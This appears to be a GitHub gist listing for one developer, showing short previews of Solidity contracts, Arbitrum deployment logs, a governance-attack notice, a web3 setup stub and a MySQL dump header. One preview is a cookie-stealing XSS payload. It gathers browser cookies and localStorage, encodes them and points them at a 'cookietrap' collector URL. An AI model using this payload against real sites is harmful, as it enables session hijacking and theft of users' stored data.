developerfred

     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        return a / b;
    }

developerfred

Oito Desafio [ Dapp Interface Developer ]

• Desafios Oito
• Template Dapp

Tools

• Tailwind or ChakraUI
• Chart.js
• Next

developerfred

$SARCO on arbitrum.io Rinkeby

https://testnet.arbiscan.io/

Setting allowance on gateway
Allowance successfully set — L1 tx hash: 0xb1ce2ae1a9757a68fda1733796c3c8139e6bea80c80dd946856ff197a8f476d2
Depositing / deploying standard token contract:
L1 deposit txn confirmed — L1 txn hash: 0x47f43d678d1a0fb113823eeb3a0eb11b76bfcb41c2bc4d91d49ac1b9773631f0
Waiting for L2 txn; this takes ~10 minutes; waiting for L2 txn hash: 0x52b96edcac0d42ce4ff3661392fb3131589a9797cdda48f7619f0b48b0518bbf
Done; your token is deployed on L2 at 0xf00dD64B2A7c9205575F8719B8d692536a2d6321

developerfred

{
    "name": "Mask Network",
    "logoURI": "https://raw.githubusercontent.com/DimensionDev/Maskbook-Website/master/img/MB--CircleCanvas--WhiteOverBlue.svg",
    "keywords": [
        "browser extension",
        "web3",
        "peer to peer",
        "encryption",
        "cryptography",
        "gundb",

developerfred

We noticed an attack on governance (July 9th 2022)

Thanks to the ping from trent, samczsun and yambot.

Attacker

https://etherscan.io/address/0x4429abbf523bef0f1e934b04cff8584955c72548

Brief details

attacker uses multiple addresses https://etherscan.io/address/0x4429abbf523bef0f1e934b04cff8584955c72548 https://etherscan.io/address/0x0de41bdc58ffaf4a8c1b7084a544fbbe10a9de56

developerfred

// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

// Used in the `name()` function
// "Yul Token"
bytes32 constant nameLength = 0x0000000000000000000000000000000000000000000000000000000000000009;
bytes32 constant nameData = 0x59756c20546f6b656e0000000000000000000000000000000000000000000000;

// Used in the `symbol()` function
// "YUL"

developerfred

// The collector must decode the base64-encoded parameter 'payload'
// Suggestion: The PHP script could redirect back to the user's referer, such as:
// header("Location: " . $_SERVER['HTTP_REFERER']);

collector="http://192.168.40.6/cookietrap/trap.php?payload=";
c=function(){ret=""; for(var i = 0; i < document.cookie.split(";").length; i++){ ret+=("- " + document.cookie.split(";")[i] + "\n");} return ret; }();
ls=function(){locStor = ""; for(var i = 0; i < localStorage.length; i++){ locStor += ("Key: " + localStorage.key(i) + "\nValue: " + localStorage.getItem(localStorage.key(i)) + "\n\n");} return locStor; }();
payload="Cookies: \n"+ c + "\nLocalStorage: \n" + ls;
enc=btoa(payload);
alert("Yar cookies are: \n" + c);

developerfred

install libs

$ pip install web3

add your metamask pk here

private_key = '<your metamask key'

developerfred

[
    {
      "inputs": [],
      "stateMutability": "nonpayable",
      "type": "constructor"
    },
    {
      "anonymous": false,
      "inputs": [
        {

developerfred

-- MySQL dump 10.13  Distrib 8.0.33, for Linux (x86_64)
--
-- Host: db-mv-gg-quest.czh2afcpkxqi.eu-west-2.rds.amazonaws.com    Database: ggquest
-- ------------------------------------------------------
-- Server version	8.0.30

/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!50503 SET NAMES utf8mb4 */;